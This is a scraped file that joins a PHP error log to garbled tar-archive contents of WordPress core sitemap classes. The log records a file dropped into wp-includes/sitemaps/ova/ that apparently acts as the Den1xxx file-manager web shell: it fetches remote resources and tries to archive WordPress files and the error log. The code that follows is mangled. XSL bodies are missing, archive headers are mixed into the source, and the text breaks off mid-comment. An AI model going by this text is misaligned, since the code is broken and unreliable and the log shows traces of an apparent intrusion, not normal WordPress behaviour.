/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [01-Sep-2025 05:52:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [01-Sep-2025 05:52:40 UTC] [01-Sep-2025 10:06:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [01-Sep-2025 10:06:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 09:34:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 09:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 09:35:20 UTC] PHP Fatal error: Uncaught BadMethodCallException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/class-wp-sitemaps-posts.php.php.tar.gz" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 1118 [02-Sep-2025 13:22:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 13:22:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 19:12:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 19:12:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 19:12:59 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 218 [02-Sep-2025 19:13:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 219 [02-Sep-2025 19:13:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 220 [02-Sep-2025 19:13:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 221 [02-Sep-2025 19:13:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 222 [02-Sep-2025 19:13:04 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 223 [02-Sep-2025 21:13:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 21:13:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 21:13:59 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 1117 [02-Sep-2025 21:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 21:14:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [02-Sep-2025 21:15:09 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/error_log.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/error_log" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 1117 [03-Sep-2025 06:15:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [03-Sep-2025 06:15:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [03-Sep-2025 06:15:41 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/class-wp-sitemaps-users.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 1117 [03-Sep-2025 11:30:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [03-Sep-2025 11:30:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/ova/index.php on line 91 [03-Sep-2025 11:30:14 UTC] PHP Warning: Cannot modify header iclass-wp-sitemaps-provider.php000064400000010475150561175430012477 0ustar00get_object_subtypes(); /* * If there are no object subtypes, include a single sitemap for the * entire object type. */ if ( empty( $object_subtypes ) ) { $sitemap_data[] = array( 'name' => '', 'pages' => $this->get_max_num_pages(), ); return $sitemap_data; } // Otherwise, include individual sitemaps for every object subtype. foreach ( $object_subtypes as $object_subtype_name => $data ) { $object_subtype_name = (string) $object_subtype_name; $sitemap_data[] = array( 'name' => $object_subtype_name, 'pages' => $this->get_max_num_pages( $object_subtype_name ), ); } return $sitemap_data; } /** * Lists sitemap pages exposed by this provider. * * The returned data is used to populate the sitemap entries of the index. * * @since 5.5.0 * * @return array[] Array of sitemap entries. */ public function get_sitemap_entries() { $sitemaps = array(); $sitemap_types = $this->get_sitemap_type_data(); foreach ( $sitemap_types as $type ) { for ( $page = 1; $page <= $type['pages']; $page++ ) { $sitemap_entry = array( 'loc' => $this->get_sitemap_url( $type['name'], $page ), ); /** * Filters the sitemap entry for the sitemap index. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param string $object_type Object empty name. * @param string $object_subtype Object subtype name. * Empty string if the object type does not support subtypes. * @param int $page Page number of results. */ $sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page ); $sitemaps[] = $sitemap_entry; } } return $sitemaps; } /** * Gets the URL of a sitemap entry. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name The name of the sitemap. * @param int $page The page of the sitemap. * @return string The composed URL for a sitemap entry. */ public function get_sitemap_url( $name, $page ) { global $wp_rewrite; // Accounts for cases where name is not included, ex: sitemaps-users-1.xml. $params = array_filter( array( 'sitemap' => $this->name, 'sitemap-subtype' => $name, 'paged' => $page, ) ); $basename = sprintf( '/wp-sitemap-%1$s.xml', implode( '-', $params ) ); if ( ! $wp_rewrite->using_permalinks() ) { $basename = '/?' . http_build_query( $params, '', '&' ); } return home_url( $basename ); } /** * Returns the list of supported object subtypes exposed by the provider. * * @since 5.5.0 * * @return array List of object subtypes objects keyed by their name. */ public function get_object_subtypes() { return array(); } } class-wp-sitemaps-stylesheet.php000064400000020466150561175430013037 0ustar00get_sitemap_stylesheet(); } if ( 'index' === $type ) { // All content is escaped below. echo $this->get_sitemap_index_stylesheet(); } exit; } /** * Returns the escaped XSL for all sitemaps, except index. * * @since 5.5.0 */ public function get_sitemap_stylesheet() { $css = $this->get_stylesheet_css(); $title = esc_xml( __( 'XML Sitemap' ) ); $description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) ); $learn_more = sprintf( '%s', esc_url( __( 'https://www.sitemaps.org/' ) ), esc_xml( __( 'Learn more about XML sitemaps.' ) ) ); $text = sprintf( /* translators: %s: Number of URLs. */ esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ), '' ); $lang = get_language_attributes( 'html' ); $url = esc_xml( __( 'URL' ) ); $lastmod = esc_xml( __( 'Last Modified' ) ); $changefreq = esc_xml( __( 'Change Frequency' ) ); $priority = esc_xml( __( 'Priority' ) ); $xsl_content = << {$title}

{$title}

{$description}

{$learn_more}

{$text}

{$url} {$lastmod} {$changefreq} {$priority}
XSL; /** * Filters the content of the sitemap stylesheet. * * @since 5.5.0 * * @param string $xsl_content Full content for the XML stylesheet. */ return apply_filters( 'wp_sitemaps_stylesheet_content', $xsl_content ); } /** * Returns the escaped XSL for the index sitemaps. * * @since 5.5.0 */ public function get_sitemap_index_stylesheet() { $css = $this->get_stylesheet_css(); $title = esc_xml( __( 'XML Sitemap' ) ); $description = esc_xml( __( 'This XML Sitemap is generated by WordPress to make your content more visible for search engines.' ) ); $learn_more = sprintf( '%s', esc_url( __( 'https://www.sitemaps.org/' ) ), esc_xml( __( 'Learn more about XML sitemaps.' ) ) ); $text = sprintf( /* translators: %s: Number of URLs. */ esc_xml( __( 'Number of URLs in this XML Sitemap: %s.' ) ), '' ); $lang = get_language_attributes( 'html' ); $url = esc_xml( __( 'URL' ) ); $lastmod = esc_xml( __( 'Last Modified' ) ); $xsl_content = << {$title}

{$title}

{$description}

{$learn_more}

{$text}

{$url} {$lastmod}
XSL; /** * Filters the content of the sitemap index stylesheet. * * @since 5.5.0 * * @param string $xsl_content Full content for the XML stylesheet. */ return apply_filters( 'wp_sitemaps_stylesheet_index_content', $xsl_content ); } /** * Gets the CSS to be included in sitemap XSL stylesheets. * * @since 5.5.0 * * @return string The CSS. */ public function get_stylesheet_css() { $text_align = is_rtl() ? 'right' : 'left'; $css = <<get_sitemap_stylesheet_url(); if ( $stylesheet_url ) { $this->stylesheet = ''; } $stylesheet_index_url = $this->get_sitemap_index_stylesheet_url(); if ( $stylesheet_index_url ) { $this->stylesheet_index = ''; } } /** * Gets the URL for the sitemap stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap stylesheet URL. */ public function get_sitemap_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=sitemap' ); } /** * Filters the URL for the sitemap stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_url', $sitemap_url ); } /** * Gets the URL for the sitemap index stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index stylesheet URL. */ public function get_sitemap_index_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap-index.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=index' ); } /** * Filters the URL for the sitemap index stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap index will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps index XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_index_url', $sitemap_url ); } /** * Renders a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. */ public function render_index( $sitemaps ) { header( 'Content-Type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $index_xml = $this->get_sitemap_index_xml( $sitemaps ); if ( ! empty( $index_xml ) ) { // All output is escaped within get_sitemap_index_xml(). echo $index_xml; } } /** * Gets XML for a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_index_xml( $sitemaps ) { $sitemap_index = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '', $this->stylesheet_index, '' ) ); foreach ( $sitemaps as $entry ) { $sitemap = $sitemap_index->addChild( 'sitemap' ); // Add each element as a child node to the entry. foreach ( $entry as $name => $value ) { if ( 'loc' === $name ) { $sitemap->addChild( $name, esc_url( $value ) ); } elseif ( 'lastmod' === $name ) { $sitemap->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for the sitemap index.' ), implode( ',', array( 'loc', 'lastmod' ) ) ), '5.5.0' ); } } } return $sitemap_index->asXML(); } /** * Renders a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. */ public function render_sitemap( $url_list ) { header( 'Content-Type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $sitemap_xml = $this->get_sitemap_xml( $url_list ); if ( ! empty( $sitemap_xml ) ) { // All output is escaped within get_sitemap_xml(). echo $sitemap_xml; } } /** * Gets XML for a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_xml( $url_list ) { $urlset = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '', $this->stylesheet, '' ) ); foreach ( $url_list as $url_item ) { $url = $urlset->addChild( 'url' ); // Add each element as a child node to the entry. foreach ( $url_item as $name => $value ) { if ( 'loc' === $name ) { $url->addChild( $name, esc_url( $value ) ); } elseif ( in_array( $name, array( 'lastmod', 'changefreq', 'priority' ), true ) ) { $url->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for sitemaps.' ), implode( ',', array( 'loc', 'lastmod', 'changefreq', 'priority' ) ) ), '5.5.0' ); } } } return $urlset->asXML(); } /** * Checks for the availability of the SimpleXML extension and errors if missing. * * @since 5.5.0 */ private function check_for_simple_xml_availability() { if ( ! class_exists( 'SimpleXMLElement' ) ) { add_filter( 'wp_die_handler', static function () { return '_xml_wp_die_handler'; } ); wp_die( sprintf( /* translators: %s: SimpleXML */ esc_xml( __( 'Could not generate XML sitemap due to missing %s extension' ) ), 'SimpleXML' ), esc_xml( __( 'WordPress › Error' ) ), array( 'response' => 501, // "Not implemented". ) ); } } } class-wp-sitemaps-index.php000064400000003732150561175430011752 0ustar00registry = $registry; } /** * Gets a sitemap list for the index. * * @since 5.5.0 * * @return array[] Array of all sitemaps. */ public function get_sitemap_list() { $sitemaps = array(); $providers = $this->registry->get_providers(); /* @var WP_Sitemaps_Provider $provider */ foreach ( $providers as $name => $provider ) { $sitemap_entries = $provider->get_sitemap_entries(); // Prevent issues with array_push and empty arrays on PHP < 7.3. if ( ! $sitemap_entries ) { continue; } // Using array_push is more efficient than array_merge in a loop. array_push( $sitemaps, ...$sitemap_entries ); if ( count( $sitemaps ) >= $this->max_sitemaps ) { break; } } return array_slice( $sitemaps, 0, $this->max_sitemaps, true ); } /** * Builds the URL for the sitemap index. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index URL. */ public function get_index_url() { global $wp_rewrite; if ( ! $wp_rewrite->using_permalinks() ) { return home_url( '/?sitemap=index' ); } return home_url( '/wp-sitemap.xml' ); } } providers/class-wp-sitemaps-taxonomies.php000064400000013421150561175430015042 0ustar00name = 'taxonomies'; $this->object_type = 'term'; } /** * Returns all public, registered taxonomies. * * @since 5.5.0 * * @return WP_Taxonomy[] Array of registered taxonomy objects keyed by their name. */ public function get_object_subtypes() { $taxonomies = get_taxonomies( array( 'public' => true ), 'objects' ); $taxonomies = array_filter( $taxonomies, 'is_taxonomy_viewable' ); /** * Filters the list of taxonomy object subtypes available within the sitemap. * * @since 5.5.0 * * @param WP_Taxonomy[] $taxonomies Array of registered taxonomy objects keyed by their name. */ return apply_filters( 'wp_sitemaps_taxonomies', $taxonomies ); } /** * Gets a URL list for a taxonomy sitemap. * * @since 5.5.0 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param int $page_num Page of results. * @param string $object_subtype Optional. Taxonomy name. Default empty. * @return array[] Array of URL information for a sitemap. */ public function get_url_list( $page_num, $object_subtype = '' ) { // Restores the more descriptive, specific name for use within this method. $taxonomy = $object_subtype; $supported_types = $this->get_object_subtypes(); // Bail early if the queried taxonomy is not supported. if ( ! isset( $supported_types[ $taxonomy ] ) ) { return array(); } /** * Filters the taxonomies URL list before it is generated. * * Returning a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array[]|null $url_list The URL list. Default null. * @param string $taxonomy Taxonomy name. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_taxonomies_pre_url_list', null, $taxonomy, $page_num ); if ( null !== $url_list ) { return $url_list; } $url_list = array(); // Offset by how many terms should be included in previous pages. $offset = ( $page_num - 1 ) * wp_sitemaps_get_max_urls( $this->object_type ); $args = $this->get_taxonomies_query_args( $taxonomy ); $args['fields'] = 'all'; $args['offset'] = $offset; $taxonomy_terms = new WP_Term_Query( $args ); if ( ! empty( $taxonomy_terms->terms ) ) { foreach ( $taxonomy_terms->terms as $term ) { $term_link = get_term_link( $term, $taxonomy ); if ( is_wp_error( $term_link ) ) { continue; } $sitemap_entry = array( 'loc' => $term_link, ); /** * Filters the sitemap entry for an individual term. * * @since 5.5.0 * @since 6.0.0 Added `$term` argument containing the term object. * * @param array $sitemap_entry Sitemap entry for the term. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @param WP_Term $term Term object. */ $sitemap_entry = apply_filters( 'wp_sitemaps_taxonomies_entry', $sitemap_entry, $term->term_id, $taxonomy, $term ); $url_list[] = $sitemap_entry; } } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param string $object_subtype Optional. Taxonomy name. Default empty. * @return int Total number of pages. */ public function get_max_num_pages( $object_subtype = '' ) { if ( empty( $object_subtype ) ) { return 0; } // Restores the more descriptive, specific name for use within this method. $taxonomy = $object_subtype; /** * Filters the max number of pages for a taxonomy sitemap before it is generated. * * Passing a non-null value will short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int|null $max_num_pages The maximum number of pages. Default null. * @param string $taxonomy Taxonomy name. */ $max_num_pages = apply_filters( 'wp_sitemaps_taxonomies_pre_max_num_pages', null, $taxonomy ); if ( null !== $max_num_pages ) { return $max_num_pages; } $term_count = wp_count_terms( $this->get_taxonomies_query_args( $taxonomy ) ); return (int) ceil( (int) $term_count / wp_sitemaps_get_max_urls( $this->object_type ) ); } /** * Returns the query args for retrieving taxonomy terms to list in the sitemap. * * @since 5.5.0 * * @param string $taxonomy Taxonomy name. * @return array Array of WP_Term_Query arguments. */ protected function get_taxonomies_query_args( $taxonomy ) { /** * Filters the taxonomy terms query arguments. * * Allows modification of the taxonomy query arguments before querying. * * @see WP_Term_Query for a full list of arguments * * @since 5.5.0 * * @param array $args Array of WP_Term_Query arguments. * @param string $taxonomy Taxonomy name. */ $args = apply_filters( 'wp_sitemaps_taxonomies_query_args', array( 'taxonomy' => $taxonomy, 'orderby' => 'term_order', 'number' => wp_sitemaps_get_max_urls( $this->object_type ), 'hide_empty' => true, 'hierarchical' => false, 'update_term_meta_cache' => false, ), $taxonomy ); return $args; } } providers/class-wp-sitemaps-posts.php000064400000016525150561175450014036 0ustar00name = 'posts'; $this->object_type = 'post'; } /** * Returns the public post types, which excludes nav_items and similar types. * Attachments are also excluded. This includes custom post types with public = true. * * @since 5.5.0 * * @return WP_Post_Type[] Array of registered post type objects keyed by their name. */ public function get_object_subtypes() { $post_types = get_post_types( array( 'public' => true ), 'objects' ); unset( $post_types['attachment'] ); $post_types = array_filter( $post_types, 'is_post_type_viewable' ); /** * Filters the list of post object sub types available within the sitemap. * * @since 5.5.0 * * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name. */ return apply_filters( 'wp_sitemaps_post_types', $post_types ); } /** * Gets a URL list for a post type sitemap. * * @since 5.5.0 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param int $page_num Page of results. * @param string $object_subtype Optional. Post type name. Default empty. * * @return array[] Array of URL information for a sitemap. */ public function get_url_list( $page_num, $object_subtype = '' ) { // Restores the more descriptive, specific name for use within this method. $post_type = $object_subtype; // Bail early if the queried post type is not supported. $supported_types = $this->get_object_subtypes(); if ( ! isset( $supported_types[ $post_type ] ) ) { return array(); } /** * Filters the posts URL list before it is generated. * * Returning a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array[]|null $url_list The URL list. Default null. * @param string $post_type Post type name. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_posts_pre_url_list', null, $post_type, $page_num ); if ( null !== $url_list ) { return $url_list; } $args = $this->get_posts_query_args( $post_type ); $args['paged'] = $page_num; $query = new WP_Query( $args ); $url_list = array(); /* * Add a URL for the homepage in the pages sitemap. * Shows only on the first page if the reading settings are set to display latest posts. */ if ( 'page' === $post_type && 1 === $page_num && 'posts' === get_option( 'show_on_front' ) ) { // Extract the data needed for home URL to add to the array. $sitemap_entry = array( 'loc' => home_url( '/' ), ); /* * Get the most recent posts displayed on the homepage, * and then sort them by their modified date to find * the date the homepage was approximately last updated. */ $latest_posts = new WP_Query( array( 'post_type' => 'post', 'post_status' => 'publish', 'orderby' => 'date', 'order' => 'DESC', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $latest_posts->posts ) ) { $posts = wp_list_sort( $latest_posts->posts, 'post_modified_gmt', 'DESC' ); $sitemap_entry['lastmod'] = wp_date( DATE_W3C, strtotime( $posts[0]->post_modified_gmt ) ); } /** * Filters the sitemap entry for the home page when the 'show_on_front' option equals 'posts'. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the home page. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_show_on_front_entry', $sitemap_entry ); $url_list[] = $sitemap_entry; } foreach ( $query->posts as $post ) { $sitemap_entry = array( 'loc' => get_permalink( $post ), 'lastmod' => wp_date( DATE_W3C, strtotime( $post->post_modified_gmt ) ), ); /** * Filters the sitemap entry for an individual post. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param WP_Post $post Post object. * @param string $post_type Name of the post_type. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_entry', $sitemap_entry, $post, $post_type ); $url_list[] = $sitemap_entry; } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param string $object_subtype Optional. Post type name. Default empty. * @return int Total number of pages. */ public function get_max_num_pages( $object_subtype = '' ) { if ( empty( $object_subtype ) ) { return 0; } // Restores the more descriptive, specific name for use within this method. $post_type = $object_subtype; /** * Filters the max number of pages before it is generated. * * Passing a non-null value will short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int|null $max_num_pages The maximum number of pages. Default null. * @param string $post_type Post type name. */ $max_num_pages = apply_filters( 'wp_sitemaps_posts_pre_max_num_pages', null, $post_type ); if ( null !== $max_num_pages ) { return $max_num_pages; } $args = $this->get_posts_query_args( $post_type ); $args['fields'] = 'ids'; $args['no_found_rows'] = false; $query = new WP_Query( $args ); $min_num_pages = ( 'page' === $post_type && 'posts' === get_option( 'show_on_front' ) ) ? 1 : 0; return isset( $query->max_num_pages ) ? max( $min_num_pages, $query->max_num_pages ) : 1; } /** * Returns the query args for retrieving posts to list in the sitemap. * * @since 5.5.0 * @since 6.1.0 Added `ignore_sticky_posts` default parameter. * * @param string $post_type Post type name. * @return array Array of WP_Query arguments. */ protected function get_posts_query_args( $post_type ) { /** * Filters the query arguments for post type sitemap queries. * * @see WP_Query for a full list of arguments. * * @since 5.5.0 * @since 6.1.0 Added `ignore_sticky_posts` default parameter. * * @param array $args Array of WP_Query arguments. * @param string $post_type Post type name. */ $args = apply_filters( 'wp_sitemaps_posts_query_args', array( 'orderby' => 'ID', 'order' => 'ASC', 'post_type' => $post_type, 'posts_per_page' => wp_sitemaps_get_max_urls( $this->object_type ), 'post_status' => array( 'publish' ), 'no_found_rows' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'ignore_sticky_posts' => true, // Sticky posts will still appear, but they won't be moved to the front. ), $post_type ); return $args; } } providers/class-wp-sitemaps-users.php000064400000010131150561175450014012 0ustar00name = 'users'; $this->object_type = 'user'; } /** * Gets a URL list for a user sitemap. * * @since 5.5.0 * * @param int $page_num Page of results. * @param string $object_subtype Optional. Not applicable for Users but * required for compatibility with the parent * provider class. Default empty. * @return array[] Array of URL information for a sitemap. */ public function get_url_list( $page_num, $object_subtype = '' ) { /** * Filters the users URL list before it is generated. * * Returning a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array[]|null $url_list The URL list. Default null. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_users_pre_url_list', null, $page_num ); if ( null !== $url_list ) { return $url_list; } $args = $this->get_users_query_args(); $args['paged'] = $page_num; $query = new WP_User_Query( $args ); $users = $query->get_results(); $url_list = array(); foreach ( $users as $user ) { $sitemap_entry = array( 'loc' => get_author_posts_url( $user->ID ), ); /** * Filters the sitemap entry for an individual user. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the user. * @param WP_User $user User object. */ $sitemap_entry = apply_filters( 'wp_sitemaps_users_entry', $sitemap_entry, $user ); $url_list[] = $sitemap_entry; } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * * @see WP_Sitemaps_Provider::max_num_pages * * @param string $object_subtype Optional. Not applicable for Users but * required for compatibility with the parent * provider class. Default empty. * @return int Total page count. */ public function get_max_num_pages( $object_subtype = '' ) { /** * Filters the max number of pages for a user sitemap before it is generated. * * Returning a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int|null $max_num_pages The maximum number of pages. Default null. */ $max_num_pages = apply_filters( 'wp_sitemaps_users_pre_max_num_pages', null ); if ( null !== $max_num_pages ) { return $max_num_pages; } $args = $this->get_users_query_args(); $query = new WP_User_Query( $args ); $total_users = $query->get_total(); return (int) ceil( $total_users / wp_sitemaps_get_max_urls( $this->object_type ) ); } /** * 